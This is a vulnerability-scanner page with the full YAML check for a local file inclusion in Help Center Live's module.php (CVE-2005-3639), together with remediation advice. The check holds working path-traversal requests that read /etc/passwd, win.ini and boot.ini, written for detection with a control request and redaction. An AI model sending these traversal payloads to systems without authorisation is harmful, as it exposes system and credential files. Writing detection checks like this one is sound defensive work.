Help Center Live — 1 vulnerability check

noctis ships 1 vulnerability check for Help Center Live, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Help Center Live module.php Local File Inclusion

CVECVE-2005-3639
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/helpcenterlive/CVE-2005-3639.yaml

Tests Help Center Live (2.0.2 and earlier) for the unauthenticated local file inclusion in module.php, whose module template includes the file named by the file parameter with no check. The feed requests module.php with module=osTicket (or the HelpCenter module when osTicket is not installed or not active) under the usual Help Center Live folders, with file set to a /../ sequence ending in etc/passwd and, when no passwd content comes back, windows/win.ini and then boot.ini. The content of the file in a Help Center Live page confirms the inclusion. A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/module.php?module=osTicket&file=/../../../../../../../../../../../etc/passwd
  2. Checks passwd_r.body for This module (?:does not exist|is not active)
  3. HTTP(S) request GET {{dir}}/module.php?module=HelpCenter&file=/../../../../../../../../../../../etc/passwd
  4. Checks passwd_r.body for (?i)Powered By (?:<a [^>]*>)?Help Center Live
  5. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{dir}}/module.php?module={{mod}}&file=/../../../../../../../../../../../windows/win.…
  8. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  9. HTTP(S) request GET {{dir}}/module.php?module={{mod}}&file=/../../../../../../../../../../../boot.ini
  10. Checks bootini_r.body for (?i)\[boot loader\]
  11. Parses / computes the next value with a Rhai script
  12. HTTP(S) request GET {{dir}}/module.php?module={{mod}}&file={{ctrl_path}}
  13. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  14. Checks lin_proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: Help Center Live module.php Local File Inclusion (CVE-2005-3639)
  15. … and 1 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/helpcenterlive/CVE-2005-3639.yaml
# Help Center Live module.php "file" local file inclusion — CVE-2005-3639
#
# Help Center Live (UberTec live-support / help-desk tool, PHP) 2.0.2 and
# earlier render module pages (the osTicket and HelpCenter modules ship
# installed and active) through templates/<tpl>/module.tpl, which does
#     include_once(dirname(__FILE__).'/../../..'.addslashes($_GET['file']));
# with no check and no login (source: SourceForge helpcenterlive hcl_2-0-2.zip).
# "/../" sequences in the file parameter of module.php reach any file the web
# server user can read, and include_once() prints a file with no PHP tags
# as-is in the page. 2.0.3 wraps it in  if (!strpos($_GET['file'], '..')).
#
# Detection (benign, read-only): GET
#   <hcl dir>/module.php?module=osTicket&file=/../../../../../../../../../../../etc/passwd
# and match the CONTENT of /etc/passwd in a Help Center Live page; when the
# page answers but no passwd line comes back, the Windows files
# windows/win.ini, then boot.ini. QoD 75 (response analysis). "../" in the
# query string goes out verbatim through http_request.
#
# Improvements over the source NASL:
#   - When the osTicket module was removed or disabled ("This module does not
#     exist" / "is not active"), the read is retried through the HelpCenter
#     module, which ships with Help Center Live and goes through the same
#     template.
#   - Windows installs (win.ini, boot.ini) are read too, not only /etc/passwd.
#   - Usual install folders (/hcl, /helpcenterlive, /helpcenter, web root,
#     /support, /live, /livesupport) are probed without a crawler.
#   - A control request (same parameter, a path in an absent random directory
#     that still ends with the file that hit) must come back WITHOUT any of
#     these files; a blanket responder or a honeypot keying a fake file on the
#     path suffix is not reported (fail-closed: no control reply → no finding,
#     and the control must get the same HTTP status as the probe).
#   - The account name (unless "root"), password field and gecos of the uid-0
#     line are redacted before they reach the finding.
#
# CVSS: CVE-2005-3639 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT pre2008/hcl_file_include.nasl
# (OID 1.3.6.1.4.1.25623.1.0.20223, GPL-2.0-only).
uid: 125102d9-f595-44b2-aeb6-8c96db77f48f
name: "Help Center Live module.php Local File Inclusion (CVE-2005-3639)"
description: |
  Tests Help Center Live (2.0.2 and earlier) for the unauthenticated local
  file inclusion in module.php, whose module template includes the file
  named by the file parameter with no check. The feed requests module.php
  with module=osTicket (or the HelpCenter module when osTicket is not
  installed or not active) under the usual Help Center Live folders, with
  file set to a /../ sequence ending in etc/passwd and, when no passwd
  content comes back, windows/win.ini and then boot.ini. The content of the
  file in a Help Center Live page confirms the inclusion. A control request
  for an absent random file through the same parameter must not return any of
  these files, so a server that serves the same content on every request is
  not reported. Only world-readable system files are read. The account name
  (unless root), password field and gecos of the uid-0 line are redacted from
  the evidence.
cves: [CVE-2005-3639]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [helpcenterlive, help-center-live, php, lfi, local-file-inclusion, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-3639"
  - "https://www.exploit-db.com/exploits/26502"
  - "https://sourceforge.net/projects/helpcenterlive/files/OldFiles/"
  # OpenVAS/Greenbone NASL pre2008/hcl_file_include.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per install folder.
  # Each pass resets the values it reads, so nothing is left over.
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/hcl", "/helpcenterlive", "/helpcenter", "", "/support", "/live", "/livesupport"]

  - id: init-mod
    action: set_var
    var_name: mod
    var_value: "osTicket"

  - id: init-hcl-page
    action: set_var
    var_name: hcl_page
    var_value: false

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Linux: /etc/passwd through the osTicket module ──────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/module.php?module=osTicket&file=/../../../../../../../../../../../etc/passwd"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  # osTicket module removed or disabled: retry through the HelpCenter module.
  - id: osticket-missing
    action: match
    source: passwd_r.body
    pattern: "This module (?:does not exist|is not active)"
    condition: "passwd_r.status == 200"
    on_match:
      set_vars:
        mod: "HelpCenter"

  - id: read-passwd-helpcenter
    action: http_request
    method: GET
    path: "{{dir}}/module.php?module=HelpCenter&file=/../../../../../../../../../../../etc/passwd"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'mod == "HelpCenter"'
    store_as: passwd_r

  # Product gate: the module page of Help Center Live (title and footer).
  - id: hcl-page
    action: match
    source: passwd_r.body
    pattern: "(?i)Powered By (?:<a [^>]*>)?Help Center Live"
    condition: "passwd_r.status == 200"
    on_match:
      set_vars:
        hcl_page: true

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    condition: "hcl_page"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = passwd_m.captures[0];
        name.trim();
        if name == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    condition: "hcl_page"
    store_as: lin_proof

  # ── Windows: windows/win.ini, then boot.ini (older Windows) — only when a
  # Help Center Live page answered and the Linux read gave nothing ────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{dir}}/module.php?module={{mod}}&file=/../../../../../../../../../../../windows/win.ini"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hcl_page && lin_proof == ""'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'hcl_page && lin_proof == ""'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{dir}}/module.php?module={{mod}}&file=/../../../../../../../../../../../boot.ini"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hcl_page && lin_proof == "" && win_file == ""'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'hcl_page && lin_proof == "" && win_file == ""'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  # The absent path sits in a random missing directory but still ENDS with
  # the file that hit (etc/passwd, windows/win.ini or boot.ini), so a
  # honeypot that keys a fake file on that name or path suffix answers it too.
  - id: control-path
    action: script
    code: |
      let f = if lin_proof != "" { "etc/passwd" } else { win_file };
      "/../../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/module.php?module={{mod}}&file={{ctrl_path}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered and stayed clean) ─────────────────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "hcl_page && ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "Help Center Live module.php Local File Inclusion (CVE-2005-3639)"
        description: "An unauthenticated request to Help Center Live module.php with the file parameter set to a /../ sequence ending in etc/passwd returned the content of /etc/passwd in the module page, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, such as the Help Center Live config.php with its database password, and runs any PHP code found in an included file."
        remediation: "Upgrade Help Center Live to 2.0.3 or later (the project is no longer maintained: prefer replacing it), or block requests to module.php whose file parameter contains \"..\"."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/module.php?module={{mod}}&file=/../../../../../../../../../../../etc/passwd returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    condition: "hcl_page && ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "Help Center Live module.php Local File Inclusion (CVE-2005-3639)"
        description: "An unauthenticated request to Help Center Live module.php with the file parameter set to a /../ sequence ending in a Windows system file returned that file's content in the module page, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, such as the Help Center Live config.php with its database password, and runs any PHP code found in an included file."
        remediation: "Upgrade Help Center Live to 2.0.3 or later (the project is no longer maintained: prefer replacing it), or block requests to module.php whose file parameter contains \"..\"."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/module.php?module={{mod}}&file=/../../../../../../../../../../../{{win_file}} returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub